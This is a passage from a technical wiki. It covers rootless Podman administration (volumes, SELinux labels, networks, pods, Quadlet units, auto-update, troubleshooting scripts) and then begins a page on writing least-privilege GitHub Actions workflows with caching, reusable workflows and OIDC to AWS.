my-app-token -` reads the value from stdin and stores it in the user's secret store, so it never appears in `podman inspect` output or the process list; `type=env` exposes it as an environment variable and the default `type=mount` places it at `/run/secrets/`. `--restart=always` works only while the process that created the container is alive to restart it; on a server the restart policy belongs in the [Quadlet](#quadlet-systemd-units) unit. Health checks in Podman run from systemd transient timers, not from a daemon. Rootless health checks therefore need a systemd user session (`XDG_RUNTIME_DIR` set, `loginctl enable-linger`). `--health-on-failure=restart` (4.3+) restarts an unhealthy container, `--health-startup-cmd` adds a separate start-up probe, and `podman healthcheck run my-app` runs the check once and prints the result. ## Volumes and SELinux labels Named volumes live in the storage directory (`~/.local/share/containers/storage/volumes//_data`) and inherit a label that containers can use. Bind mounts keep the label the host directory already has, typically `user_home_t` or `default_t`, which container processes (`container_t`) may not read or write. The volume suffixes fix that, and the ownership suffix fixes the UID mismatch that user namespaces create. | Suffix | Effect | | --- | --- | | `:Z` | Relabel to `container_file_t` with a category unique to this container. One container per directory | | `:z` | Relabel to `container_file_t` shared; several containers can use the directory | | `:U` | `chown` the mount recursively to the container's user, translated through the user namespace | | `:ro` | Read-only mount | | `:O` | Overlay: the container sees the directory but writes go to a discarded upper layer | | `:nocopy` | Do not copy image content into an empty named volume on first mount | ```sh podman run -v ./site:/usr/share/nginx/html:ro,Z docker.io/library/nginx:1.29 podman run -v ./pgdata:/var/lib/postgresql/data:Z,U docker.io/library/postgres:18 # relabel and chown to the postgres user podman volume create my-app-data podman volume inspect my-app-data -f '{{.Mountpoint}}' podman volume export my-app-data -o my-app-data.tar # tarball of the contents podman volume import my-app-data my-app-data.tar podman volume prune # deletes every volume not attached to a container podman unshare ls -ln "$(podman volume inspect my-app-data -f '{{.Mountpoint}}')" # view with container-side UIDs ``` > [!WARNING] Relabelling system directories > `:Z` and `:z` run `chcon` on the host path recursively. Mounting `/home/user` or `/var/lib` with `:Z` relabels everything beneath it and breaks the processes that depend on the old labels. Mount the smallest directory that does the job, and `restorecon -Rv path` restores the policy default. The [Users, permissions and SELinux](https://www.wiki.jodisand.me/users/#selinux) page covers reading denials with `ausearch -m avc -ts recent`. ## Networks and DNS between containers Rootful Podman uses netavark bridges with nftables rules; rootless containers get pasta for the host side, and netavark still builds the bridge inside the user namespace when a container joins a named network. Name resolution comes from aardvark-dns, which runs only for user-defined networks: the default `podman` network has DNS disabled, so containers on it must use published ports or IP addresses to reach each other. ```sh podman network create my-net # bridge, DNS enabled, subnet chosen automatically podman network create --subnet 10.89.10.0/24 --gateway 10.89.10.1 my-net podman network create --internal my-backend # no route out: for databases podman network ls; podman network inspect my-net podman run -d --name my-db --network my-net docker.io/library/postgres:18 podman run -d --name my-app --network my-net,my-backend -p 8080:8080 registry.example.com/my-app:1.4 # two networks podman run --rm --network my-net docker.io/library/busybox:1.37 nslookup my-db # resolves through aardvark-dns podman network connect my-net my-existing-container; podman network disconnect my-net my-existing-container podman run --network host ... # host namespace; rootless still cannot bind below 1024 ``` Containers on the same user-defined network resolve each other by container name and by `--network-alias`. Within a pod they share one network namespace and reach each other on `localhost`. A container reaches the host as `host.containers.internal` (pasta maps it to `169.254.1.2`). Because pasta gives the container the host's own address, a service the host binds to `127.0.0.1` only is not reachable from inside; bind it to another address or to `0.0.0.0` and firewall it. ## Pods A pod is a group of containers sharing the network namespace (and optionally PID and IPC namespaces) anchored by a small infra container that holds them open. Ports are published on the pod, not on member containers, and members talk over `localhost`. This is the same model as a Kubernetes pod, which is why `podman kube generate` and `podman kube play` translate cleanly. ```sh podman pod create --name my-pod -p 8080:80 --network my-net podman run -d --pod my-pod --name my-pod-web docker.io/library/nginx:1.29 podman run -d --pod my-pod --name my-pod-app registry.example.com/my-app:1.4 # nginx proxies to localhost:8080 podman pod ps; podman pod inspect my-pod podman pod stop my-pod; podman pod start my-pod podman pod rm -f my-pod # removes the pod and every container in it podman kube generate my-pod > my-pod.yaml # Kubernetes Pod manifest with the running configuration podman kube play my-pod.yaml # creates the pod from YAML; accepts Deployment, PersistentVolumeClaim, ConfigMap, Secret podman kube play --replace my-pod.yaml # recreate; --down tears it down podman kube down my-pod.yaml ``` Published ports cannot be added to a pod after creation; recreate the pod. Containers that join a pod cannot use `--network` or `-p` of their own. ## Quadlet systemd units Quadlet is a systemd generator shipped with Podman 4.4+ that turns short unit files with `[Container]`, `[Pod]`, `[Network]`, `[Volume]`, `[Image]`, `[Build]` and `[Kube]` sections into full `podman run` service units at `daemon-reload` time. It replaces `podman generate systemd`, which is deprecated. Rootless files go in `~/.config/containers/systemd/`, rootful files in `/etc/containers/systemd/` (or `/usr/share/containers/systemd/` for packaged units). A file `my-app.container` becomes `my-app.service`; `my-net.network` becomes `my-net-network.service`, `my-data.volume` becomes `my-data-volume.service` and `my-pod.pod` becomes `my-pod-pod.service`. Referencing one Quadlet file from another (`Network=my-net.network`) adds the `Requires=` and `After=` dependencies for you. ```ini # ~/.config/containers/systemd/my-net.network [Network] NetworkName=my-net Subnet=10.89.10.0/24 Gateway=10.89.10.1 DNS=192.0.2.53 # upstream resolver for aardvark-dns; omit to use the host's ``` ```ini # ~/.config/containers/systemd/my-app-data.volume [Volume] VolumeName=my-app-data ``` ```ini # ~/.config/containers/systemd/my-app.container [Unit] Description=my-app API Wants=network-online.target After=network-online.target [Container] Image=registry.example.com/my-app:1.4 ContainerName=my-app AutoUpdate=registry # podman auto-update pulls a newer image and restarts this unit Network=my-net.network # depends on my-net-network.service Volume=my-app-data.volume:/var/lib/my-app Volume=%h/my-app/config:/etc/my-app:ro,Z # %h is the user's home; systemd specifiers work PublishPort=127.0.0.1:8080:8080 Environment=TZ=Australia/Melbourne EnvironmentFile=%h/my-app/my-app.env Secret=my-app-token,type=env,target=API_TOKEN User=1000 UserNS=keep-id:uid=1000,gid=1000 ReadOnly=true Tmpfs=/tmp DropCapability=ALL NoNewPrivileges=true HealthCmd=curl -fsS http://localhost:8080/healthz || exit 1 HealthInterval=30s HealthOnFailure=kill # systemd then restarts the unit under Restart= Notify=healthy # unit is "started" only once the first health check passes LogDriver=journald [Service] Restart=always RestartSec=5 TimeoutStartSec=900 # the first start pulls the image; 90 s default is too short on slow links [Install] WantedBy=default.target # multi-user.target for rootful units ``` ```ini # ~/.config/containers/systemd/my-pod.pod [Pod] PodName=my-pod PublishPort=8080:80 Network=my-net.network ``` ```ini # ~/.config/containers/systemd/my-pod-web.container [Container] Image=docker.io/library/nginx:1.29 Pod=my-pod.pod # joins the pod; ports are on the pod Volume=%h/my-pod/nginx.conf:/etc/nginx/nginx.conf:ro,Z [Service] Restart=always [Install] WantedBy=default.target ``` ```sh systemctl --user daemon-reload # runs the generator; errors are in the journal /usr/lib/systemd/system-generators/podman-system-generator --user --dryrun # print the generated units, exits non-zero on a bad key systemctl --user start my-app.service systemctl --user status my-app.service my-net-network.service journalctl --user -u my-app.service -f loginctl enable-linger "$USER" # user manager runs at boot and survives logout systemctl --user enable my-app.service # only needed if the [Install] section is absent; Quadlet enables via WantedBy ``` Quadlet units have no `enable` step: `[Install] WantedBy=default.target` is enough, and the unit starts at boot once lingering is enabled. Any `podman run` flag without a dedicated key goes in `PodmanArgs=`. Rootful units under `/etc/containers/systemd/` use `systemctl` without `--user` and `WantedBy=multi-user.target`. `podman generate systemd` output from older hosts converts almost line for line: `--name` to `ContainerName`, `-p` to `PublishPort`, `-v` to `Volume`. For services that must start before login on a workstation, or that other system units depend on, run them as rootful Quadlet units under a dedicated `User=` and `UserNS=auto` rather than in a user session. `systemctl --user` targets need `XDG_RUNTIME_DIR=/run/user/$(id -u)` when invoked from cron or over `ssh` with a non-login shell; see [systemd](https://www.wiki.jodisand.me/systemd/#user-units). ## Auto-update `podman auto-update` checks every container labelled `io.containers.autoupdate=registry` (or `AutoUpdate=registry` in Quadlet) for a newer image digest, pulls it and restarts the owning systemd unit. With `local` instead of `registry` it restarts when the local image tag points to a new ID, which suits images built on the host. A unit that fails to start after the update is rolled back to the previous image. ```sh podman auto-update --dry-run --format '{{.Unit}} {{.Image}} {{.Updated}}' # "pending" marks units with a newer image podman auto-update # pull, restart, roll back on failure systemctl --user enable --now podman-auto-update.timer # daily by default; override OnCalendar with a drop-in systemctl --user list-timers podman-auto-update.timer journalctl --user -u podman-auto-update.service --since yesterday ``` Auto-update follows tags, so `my-app:1.4` is only ever updated to a rebuilt `1.4`. Pin to a floating tag such as `my-app:1` if minor releases should roll out automatically, and combine with `Notify=healthy` so a version that starts but never becomes healthy triggers the rollback. ## podman compose `podman compose` is a thin wrapper that executes the first provider found from `compose_providers` in `containers.conf`: `podman-compose` (Python, `dnf install podman-compose`) or Docker's `docker-compose` plugin talking to the Podman socket. The `compose.yaml` semantics are those of [Docker Compose](https://www.wiki.jodisand.me/docker-compose/), with the caveats that `podman-compose` implements the specification independently and lags on newer keys, and that `restart:` is honoured only while the compose process lives. ```sh systemctl --user enable --now podman.socket # Docker-compatible API for docker-compose and other clients export DOCKER_HOST="unix://$XDG_RUNTIME_DIR/podman/podman.sock" # point Docker-API clients at it podman compose up -d podman compose ps; podman compose logs -f my-app podman compose down -v # removes containers, networks and named volumes ``` For anything that has to survive reboots, convert the Compose services to Quadlet units, or run `podman kube play` on a manifest generated from a working pod. Both give you `systemctl` semantics that Compose on Podman cannot. ## Oneliners ```sh # Containers not running, with their exit code podman ps -a --filter status=exited --format '{{.Names}}\t{{.Status}}' # Health of every container that has a health check podman ps --format '{{.Names}}' | xargs -I{} sh -c 'printf "%s\t%s\n" {} "$(podman inspect -f "{{.State.Health.Status}}" {})"' # Memory usage per container, sorted podman stats --no-stream --format '{{.MemUsage}}\t{{.Name}}' | sort -h # Image and digest each container was created from podman ps -a --format '{{.Names}}\t{{.Image}}\t{{.ImageID}}' # Containers whose image has been replaced by a newer pull (dangling parent) podman ps -a --format '{{.Names}} {{.ImageID}}' | while read -r n id; do podman image exists "$id" || echo "$n"; done # Which container publishes a port podman ps --format '{{.Names}}\t{{.Ports}}' | grep ':8080' # Run a throwaway shell with the current directory mounted and relabelled podman run --rm -it -v "$PWD":/work:Z -w /work docker.io/library/alpine:3.22 sh # Enter a container's network namespace tools without changing the image podman run --rm -it --network container:my-app docker.io/nicolaka/netshoot ss -ltnp # The user-namespace UID a host file appears as inside containers podman unshare stat -c '%u %g %n' ./data/* # Fix ownership of a bind mount for container UID 999 (postgres) without sudo podman unshare chown -R 999:999 ./pgdata # Explain a denial for the last container started sudo ausearch -m avc -ts recent -c podman -c my-app 2>/dev/null | tail -5 # Regenerate and validate Quadlet units without starting anything /usr/lib/systemd/system-generators/podman-system-generator --user --dryrun >/dev/null && echo ok # Units Quadlet generated for this user systemctl --user list-units 'my-*' --all # Pending image updates podman auto-update --dry-run --format '{{.Unit}}\t{{.Updated}}' | grep -w pending # Reclaim: stopped containers, unused networks, dangling images and build cache podman system prune -f # Space by category, then the biggest images podman system df && podman images --sort size --format '{{.Size}}\t{{.Repository}}:{{.Tag}}' | head # Export a container's rootfs for offline inspection podman export my-app | tar -tvf - | sort -k3 -n | tail # Check whether a registry needs login before a scripted pull podman search --list-tags --limit 5 registry.example.com/my-app # Copy an image between registries without a local pull skopeo copy --all docker://registry.example.com/my-app:1.4 docker://mirror.example.com/my-app:1.4 # Wait for a container to become healthy in a script until [ "$(podman inspect -f '{{.State.Health.Status}}' my-app)" = healthy ]; do sleep 2; done # Every environment variable a container was started with (values included: treat as sensitive) podman inspect -f '{{range .Config.Env}}{{println .}}{{end}}' my-app ``` ## Scripts Health report across every container on the host, exit non-zero if any container is unhealthy or has restarted in the last hour. Suits a systemd timer with `OnFailure=` pointing at a notification unit. ```sh #!/usr/bin/env bash # usage: podman-health.sh (runs against the invoking user's containers) set -euo pipefail rc=0 while IFS=$'\t' read -r name state health started; do since=$(( $(date +%s) - $(date -d "$started" +%s) )) flag=ok if [[ $state != running ]]; then flag="state=$state"; rc=1 elif [[ $health != healthy && $health != '' ]]; then flag="health=$health"; rc=1 elif (( since < 3600 )); then flag="restarted ${since}s ago"; rc=1 fi printf '%-24s %-8s %-10s %s\n' "$name" "$state" "${health:-none}" "$flag" done < <(podman ps -a --format '{{.Names}}' | while read -r n; do podman inspect -f $'{{.Name}}\t{{.State.Status}}\t{{.State.Health.Status}}\t{{.State.StartedAt}}' "$n" done) exit "$rc" ``` Storage reclaim that stops at a threshold: prunes in stages until the storage filesystem is below a percentage, so a full disk gets fixed without removing every image on a healthy host. Deletes stopped containers and unused images and volumes. ```sh #!/usr/bin/env bash # usage: podman-reclaim.sh [max-used-percent] default 80 set -euo pipefail limit=${1:-80} root=$(podman info --format '{{.Store.GraphRoot}}') used() { df --output=pcent "$root" | tail -1 | tr -dc '0-9'; } step() { printf '%s (%s%% used)\n' "$1" "$(used)"; shift; "$@" >/dev/null; } printf 'storage %s at %s%% (limit %s%%)\n' "$root" "$(used)" "$limit" (( $(used) > limit )) || exit 0 step 'pruning stopped containers' podman container prune -f (( $(used) > limit )) || exit 0 step 'pruning dangling images' podman image prune -f (( $(used) > limit )) || exit 0 step 'pruning build cache and networks' podman system prune -f (( $(used) > limit )) || exit 0 step 'pruning unused images' podman image prune -a -f (( $(used) > limit )) || exit 0 step 'pruning unattached volumes' podman volume prune -f (( $(used) > limit )) && { printf 'still %s%% used: inspect %s manually\n' "$(used)" "$root" >&2; exit 1; } ``` Convert a running container into a Quadlet unit file by reading its configuration, so the hand-written unit starts from what actually works. Prints the unit; review before installing. ```sh #!/usr/bin/env bash # usage: container-to-quadlet.sh NAME > ~/.config/containers/systemd/NAME.container set -euo pipefail c=${1:?container name} podman container exists "$c" json=$(podman inspect "$c") { echo '[Container]' jq -r '.[0] | "Image=\(.ImageName)\nContainerName=\(.Name)"' <<<"$json" jq -r '.[0].HostConfig.PortBindings // {} | to_entries[] | .key as $k | .value[] | "PublishPort=\(if .HostIp != "" then .HostIp + ":" else "" end)\(.HostPort):\($k | split("/")[0])"' <<<"$json" jq -r '.[0].Mounts[] | "Volume=\(.Source):\(.Destination)\(if .RW then "" else ":ro" end)"' <<<"$json" jq -r '.[0].Config.Env[] | select(startswith("PATH=") or startswith("HOME=") | not) | "Environment=\(.)"' <<<"$json" jq -r '.[0].NetworkSettings.Networks // {} | keys[] | select(. != "podman") | "Network=\(.)"' <<<"$json" printf '\n[Service]\nRestart=always\n\n[Install]\nWantedBy=default.target\n' } ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `Permission denied` writing to a bind mount, `ls -Z` shows `user_home_t` | SELinux: `container_t` cannot write that label | Add `:Z` (one container) or `:z` (shared); confirm with `sudo ausearch -m avc -ts recent` | | `Permission denied` on a bind mount with the right label | UID mismatch: container user maps to a subuid the host directory does not allow | `--userns=keep-id`, `:U`, or `podman unshare chown UID:GID dir` | | `rootlessport cannot expose privileged port 80` | Unprivileged users cannot bind below 1024 | `sudo sysctl -w net.ipv4.ip_unprivileged_port_start=80` and persist in `/etc/sysctl.d/`; or publish 8080 and proxy with [Caddy](https://www.wiki.jodisand.me/caddy/) | | Container cannot resolve another by name | Both on the default `podman` network, which has no DNS | `podman network create my-net` and run both with `--network my-net`; in a pod use `localhost` | | `Error: cannot setup namespace using "/usr/bin/newuidmap": ... write to uid_map failed` | No `/etc/subuid` entry, or `newuidmap` lacks its file capability | `usermod --add-subuids ... --add-subgids ...`, then `podman system migrate`; `getcap /usr/bin/newuidmap` | | `--memory` or `--cpus` ignored, or `OCI runtime error: ... controller not available` | cgroups v1, or controllers not delegated to the user slice | `podman info --format '{{.Host.CgroupsVersion}}'`; add `Delegate=memory pids cpu cpuset io` to a `user@.service` drop-in | | `no space left on device` on pull or build | Storage filled by images, stopped containers or volumes | `podman system df -v`, `podman system prune`, then `podman image prune -a` | | Containers stop when the SSH session ends | No lingering; user manager and its children exit at logout | `loginctl enable-linger "$USER"` and run under Quadlet | | `systemctl --user` says `Failed to connect to bus` | No user session (cron, `sudo -u`, `su`) | `export XDG_RUNTIME_DIR=/run/user/$(id -u)`, or `machinectl shell user@` | | Quadlet unit missing after `daemon-reload` | Generator rejected a key or the file is in the wrong directory | `podman-system-generator --user --dryrun`; `journalctl --user -b _COMM=podman-system-g` | | Health status stuck at `starting` or never runs | Rootless health checks need systemd transient timers; no user session | Run the container from a Quadlet unit; `systemctl --user list-timers` should show the check | | `short-name resolution enforced but cannot prompt` | Unqualified image name in a non-interactive run | Use `docker.io/library/nginx:1.29` or add an alias in `registries.conf.d` | | `sudo podman ps` shows nothing | Rootful and rootless stores are separate | Run as the user who owns the containers; `podman ps` with the same UID | | `Error: OCI runtime error: crun: ... executable file not found` | `Exec=`/command path wrong for the image, or the image is for another architecture | `podman run --rm --entrypoint sh image -c 'command -v app'`; `podman image inspect -f '{{.Architecture}}'` | | Slow start and `WARN ... "/" is not a shared mount` | Running inside another mount namespace (`unshare`, some CI) | `sudo mount --make-rshared /`, or run outside the namespace | | `Error: ... storage.conf ... database is locked` or store corruption after a config change | Storage driver or graphroot changed with existing content | `podman system reset` removes every image, container and volume for that user; back up volumes first | For a container that starts and exits, read `podman logs my-app`, then `podman inspect -f '{{.State.ExitCode}} {{.State.Error}}' my-app`; 137 is `SIGKILL` (usually the memory limit, `podman inspect -f '{{.State.OOMKilled}}'`), 139 a segfault, 143 a clean `SIGTERM`. The [Docker troubleshooting table](https://www.wiki.jodisand.me/docker/#troubleshooting) applies to image, port and PID 1 problems. ## Further reading - [Podman documentation](https://docs.podman.io/en/latest/) - [podman-systemd.unit(5): Quadlet keys](https://docs.podman.io/en/latest/markdown/podman-systemd.unit.5.html) - [podman-auto-update(1)](https://docs.podman.io/en/latest/markdown/podman-auto-update.1.html) - [Rootless Podman tutorial and shortcomings](https://github.com/containers/podman/blob/main/docs/tutorials/rootless_tutorial.md) - [Basic networking guide](https://github.com/containers/podman/blob/main/docs/tutorials/basic_networking.md) - [containers-registries.conf(5)](https://github.com/containers/image/blob/main/docs/containers-registries.conf.5.md) --- # GitHub Actions > Write GitHub Actions workflows that are fast, least-privilege and hard to exploit: triggers, matrices, caching, reusable workflows, OIDC and debugging failed runs with gh. Canonical: https://www.wiki.jodisand.me/github-actions/ Reviewed: 2026-09-24 Related: [Git](https://www.wiki.jodisand.me/git/index.md), [Go](https://www.wiki.jodisand.me/go/index.md), [Docker](https://www.wiki.jodisand.me/docker/index.md), [AWS](https://www.wiki.jodisand.me/aws/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Recent runs | `gh run list --limit 20` | | Runs of one workflow | `gh run list --workflow ci.yml --branch main` | | Watch the run for the current commit | `gh run watch --exit-status` | | Why did it fail | `gh run view --log-failed` | | Full log of one job | `gh run view --job --log` | | Re-run only failed jobs | `gh run rerun --failed` | | Re-run with debug logging | `gh run rerun --debug` | | Cancel | `gh run cancel ` | | Download artifacts | `gh run download -n dist` | | Trigger a `workflow_dispatch` workflow | `gh workflow run deploy.yml -f env=staging --ref main` | | List workflows and their state | `gh workflow list --all` | | Disable a workflow | `gh workflow disable ci.yml` | | Set a repository secret | `gh secret set API_TOKEN < token.txt` | | Set an environment secret | `gh secret set API_TOKEN --env production` | | Set a plain variable | `gh variable set REGION --body ap-southeast-2` | | Lint workflows locally | `actionlint .github/workflows/*.yml` | | Validate an expression | `echo '${{ github.ref }}'` in a `run:` step, read the log | | Print the event payload | `cat "$GITHUB_EVENT_PATH" \| jq .` | | Step output | `echo "sha=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"` | | Environment variable for later steps | `echo "GOFLAGS=-mod=mod" >> "$GITHUB_ENV"` | | Add to `PATH` for later steps | `echo "$HOME/.local/bin" >> "$GITHUB_PATH"` | | Job summary | `echo '## Result' >> "$GITHUB_STEP_SUMMARY"` | | Mask a value in logs | `echo "::add-mask::$value"` | Syntax below is GitHub.com as of September 2026 and `gh` 2.x. Action majors are the current ones at review time; check each action's releases before copying. Reference: the [workflow syntax](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax) and [contexts](https://docs.github.com/en/actions/reference/workflows-and-actions/contexts) pages. ## How a run happens A workflow is a YAML file under `.github/workflows/`. An event on the repository (push, pull request, schedule, manual dispatch, another workflow completing) matches the `on:` block of every workflow file on the ref that event points at, and each match creates a run. A run is a set of jobs; jobs run in parallel unless `needs:` orders them; each job is a fresh virtual machine or container running steps in order. A step is either `run:` (a shell script) or `uses:` (an action). Steps in one job share a filesystem and the environment written to `$GITHUB_ENV`; jobs share nothing except outputs, artifacts and caches. The important consequences: the workflow file that runs is the one on the triggering ref (for `pull_request`, the merge commit of the PR; for `pull_request_target`, the base branch), and every job starts from a clean machine, so anything one job needs from another must be passed explicitly. ```yaml name: ci on: push: branches: [main] tags: ["v*"] pull_request: permissions: contents: read # workflow-wide default for GITHUB_TOKEN concurrency: group: ${{ github.workflow }}-${{ github.ref }} cancel-in-progress: ${{ github.event_name == 'pull_request' }} jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 # default is 360; always set one steps: - uses: actions/checkout@v7 - uses: actions/setup-go@v7 with: go-version-file: go.mod - run: go test ./... ``` ## Triggers and filters ```yaml on: push: branches: [main, "release/**"] paths: ["**.go", "go.mod", "go.sum", ".github/workflows/ci.yml"] tags-ignore: ["nightly-*"] pull_request: types: [opened, synchronize, reopened, ready_for_review] # default: opened, synchronize, reopened paths-ignore: ["docs/**", "**.md"] schedule: - cron: "17 3 * * 1-5" # UTC; avoid :00 to dodge the queue at the top of the hour workflow_dispatch: inputs: env: type: choice options: [staging, production] required: true dry_run: type: boolean default: true workflow_call: # makes this a reusable workflow inputs: go-version: { type: string, default: "stable" } secrets: registry-token: { required: true } workflow_run: # runs after another workflow finishes, on the default branch only workflows: [ci] types: [completed] release: types: [published] ``` `branches` and `paths` filters must both match. A workflow with a `paths` filter that does not match is skipped entirely, which breaks required status checks that expect it; use a separate lightweight job with `if:` instead when a check must always report. `schedule` runs only on the default branch and is disabled after 60 days without repository activity on public repositories. Pushing a tag does not trigger `push: branches:`; list `tags:` as well. A push made with `GITHUB_TOKEN` never triggers another workflow, by design, to prevent loops; use a GitHub App token or a deploy key when a bot commit must trigger CI. ## Jobs, steps and matrices ```yaml jobs: build: runs-on: ubuntu-latest strategy: fail-fast: false # keep the other cells running when one fails max-parallel: 4 matrix: os: [ubuntu-latest, macos-latest] go: ["1.26", "1.27"] include: - os: ubuntu-latest go: "1.27" coverage: true # extra key on one cell only exclude: - os: macos-latest go: "1.26" steps: - uses: actions/checkout@v7 - uses: actions/setup-go@v7 with: { go-version: "${{ matrix.go }}" } - run: go test -race ./... - if: matrix.coverage run: go test -coverprofile=cover.out ./... deploy: needs: [build] # waits for every matrix cell if: github.ref == 'refs/heads/main' && github.event_name == 'push' runs-on: ubuntu-latest environment: production steps: - run: ./deploy.sh ``` `needs` makes outputs available as `needs.build.outputs.` and skips the dependant when a dependency fails or is skipped. A job with `if: always()` still runs after failures; `if: ${{ !cancelled() }}` is the usual choice for reporting steps because `always()` also runs on cancellation. Step outputs come from `$GITHUB_OUTPUT`; job outputs must be declared: ```yaml jobs: meta: runs-on: ubuntu-latest outputs: version: ${{ steps.v.outputs.version }} steps: - id: v run: echo "version=$(git describe --tags --always)" >> "$GITHUB_OUTPUT" release: needs: meta runs-on: ubuntu-latest steps: - run: echo "releasing ${{ needs.meta.outputs.version }}" ``` `run:` on Linux and macOS uses `bash --noprofile --norc -eo pipefail {0}` when Bash is available, so a failing command or pipeline fails the step without an explicit `set -e`. Set `shell: bash` explicitly when the runner might be Windows or when relying on that behaviour in a container job. Multi-line scripts use `run: |`. ## Expressions and contexts `${{ }}` is evaluated before the step runs; the result is substituted as text. Functions: `contains()`, `startsWith()`, `endsWith()`, `format()`, `join()`, `toJSON()`, `fromJSON()`, `hashFiles()`, and the status functions `success()`, `failure()`, `cancelled()`, `always()`. | Context | Holds | Example | | --- | --- | --- | | `github` | Event, ref, SHA, actor, repository | `github.event.pull_request.number`, `github.ref_name` | | `env` | Variables from `env:` blocks and `$GITHUB_ENV` | `env.GOFLAGS` | | `vars` | Repository, environment and organisation variables | `vars.REGION` | | `secrets` | Secrets, plus `secrets.GITHUB_TOKEN` | `secrets.API_TOKEN` | | `steps` | Outputs and outcomes of earlier steps in the job | `steps.v.outputs.version`, `steps.test.outcome` | | `needs` | Outputs and results of dependency jobs | `needs.build.result` | | `matrix` | The current cell | `matrix.os` | | `runner` | `os`, `arch`, `temp`, `tool_cache` | `runner.temp` | | `inputs` | `workflow_dispatch` and `workflow_call` inputs | `inputs.env` | | `job` | `status`, service container details | `job.services.postgres.ports[5432]` | `if:` conditions are expressions already, so `if: github.event_name == 'push'` needs no braces. `hashFiles('**/go.sum')` is the standard cache key input. `fromJSON()` turns a string into a matrix: ```yaml jobs: plan: runs-on: ubuntu-latest outputs: targets: ${{ steps.t.outputs.targets }} steps: - id: t run: echo 'targets=["api","worker","cron"]' >> "$GITHUB_OUTPUT" build: needs: plan strategy: matrix: target: ${{ fromJSON(needs.plan.outputs.targets) }} runs-on: ubuntu-latest steps: - run: make build TARGET=${{ matrix.target }} ``` ## Secrets, permissions and GITHUB_TOKEN `GITHUB_TOKEN` is minted per job and expires when the job ends. Its default scope is set per repository or organisation; new repositories default to read-only. Declare `permissions:` at the top of every workflow and widen per job. Any permission not listed in a `permissions:` block is set to `none`. ```yaml permissions: {} # nothing at all by default jobs: release: permissions: contents: write # create the release packages: write # push to ghcr.io id-token: write # request an OIDC token attestations: write # build provenance ``` Secrets are masked in logs by exact string match. A secret transformed (base64, split, JSON-encoded) is not masked; use `::add-mask::` on the derived value. Secrets are not passed to workflows triggered from forks on `pull_request`, and `secrets: inherit` is required for a reusable workflow to see the caller's secrets. Environment secrets are only readable by jobs that declare `environment:`. Secrets never reach `if:` conditions reliably, because an unset secret is an empty string. Check `${{ secrets.API_TOKEN != '' }}` inside a `run:` step's environment instead. ```sh gh secret set API_TOKEN --body "$API_TOKEN" # repository secret gh secret set API_TOKEN --env production --body "$API_TOKEN" gh secret set DEPLOY_KEY --org my-org --repos my-app,my-lib < key.pem gh secret list; gh variable list ``` ## Caching and artifacts Caches are keyed blobs shared across runs, scoped to the branch and its base branch, with a 10 GB per-repository limit and eviction after 7 days unused. Artifacts belong to one run and hold outputs to download or pass between jobs. ```yaml - uses: actions/setup-go@v7 with: go-version-file: go.mod cache: true # caches the module and build cache keyed on go.sum - uses: actions/cache@v6 with: path: | ~/.cache/golangci-lint key: lint-${{ runner.os }}-${{ hashFiles('.golangci.yml') }} restore-keys: lint-${{ runner.os }}- # prefix match when the exact key misses - uses: actions/cache/restore@v6 # read-only half, for jobs that must not write with: { path: node_modules, key: npm-${{ hashFiles('package-lock.json') }} } ``` A cache entry is immutable: once a key exists it is never updated, so include the hash of whatever defines the contents in the key. `restore-keys` returns the newest entry with that prefix and the step then saves under the exact key. Caches written on a PR branch are visible only to that branch, which is why the first run after merge is cold; a scheduled job on `main` that warms the cache fixes it. ```yaml - uses: actions/upload-artifact@v7 with: name: dist-${{ matrix.os }} # names must be unique per run in v4+ path: dist/ retention-days: 5 if-no-files-found: error - uses: actions/download-artifact@v8 with: pattern: dist-* merge-multiple: true path: dist/ ``` Artifacts are zipped; permissions and symlinks are lost. Upload a tarball when file modes matter. `gh run download ` fetches them locally. ## Reusable workflows and composite actions A reusable workflow is a whole workflow with `on: workflow_call`, called as a job. A composite action is a bundle of steps, called as a step. Use a reusable workflow to standardise jobs (runner, permissions, environment); use a composite action to deduplicate steps inside a job. ```yaml # .github/workflows/go-test.yml, the reusable workflow on: workflow_call: inputs: go-version: { type: string, default: stable } outputs: coverage: { value: "${{ jobs.test.outputs.coverage }}" } permissions: { contents: read } jobs: test: runs-on: ubuntu-latest outputs: { coverage: "${{ steps.cov.outputs.pct }}" } steps: - uses: actions/checkout@v7 - uses: actions/setup-go@v7 with: { go-version: "${{ inputs.go-version }}" } - run: go test -coverprofile=c.out ./... - id: cov run: echo "pct=$(go tool cover -func=c.out | awk '/^total/ {print $3}')" >> "$GITHUB_OUTPUT" ``` ```yaml # caller jobs: test: uses: my-org/workflows/.github/workflows/go-test.yml@main # or @ with: { go-version: "1.27" } secrets: inherit ``` A caller can nest reusable workflows four levels deep and cannot pass `env:` into them. The called workflow sees the caller's `github` context, so `github.repository` is the caller, not the workflow's home. ```yaml # .github/actions/setup/action.yml, a composite action name: setup inputs: go-version: { default: stable } runs: using: composite steps: - uses: actions/setup-go@v7 with: { go-version: "${{ inputs.go-version }}" } - run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest shell: bash # required on every run: step in a composite ``` Called with `uses: ./.github/actions/setup` after checkout. Composite steps cannot use `if:` on `secrets` and cannot declare `permissions`. ## OIDC to AWS The runner can request a short-lived JWT signed by GitHub for any job with `id-token: write`. AWS trusts that token through an IAM OIDC provider and a role whose trust policy restricts `sub` to a repository, branch or environment. No long-lived keys exist anywhere. ```yaml permissions: id-token: write contents: read jobs: deploy: runs-on: ubuntu-latest environment: production steps: - uses: aws-actions/configure-aws-credentials@v6 with: role-to-assume: arn:aws:iam::123456789012:role/github-my-app-deploy role-session-name: gh-${{ github.run_id }} aws-region: ap-southeast-2 - run: aws sts get-caller-identity ``` The trust policy on the role, in HCL for [Terraform](https://www.wiki.jodisand.me/terraform/): ```hcl data "aws_iam_policy_document" "github_trust" { statement { actions = ["sts:AssumeRoleWithWebIdentity"] principals { type = "Federated" identifiers = [aws_iam_openid_connect_provider.github.arn] } condition { test = "StringEquals" variable = "token.actions.githubusercontent.com:aud" values = ["sts.amazonaws.com"] } condition { test = "StringEquals" variable = "token.actions.githubusercontent.com:sub" values = ["repo:my-org/my-app:environment:production"] # not repo:my-org/*:* } } } ``` The `sub` claim is `repo:/:ref:refs/heads/` for branch pushes, `repo:/:environment:` when the job declares an environment, and 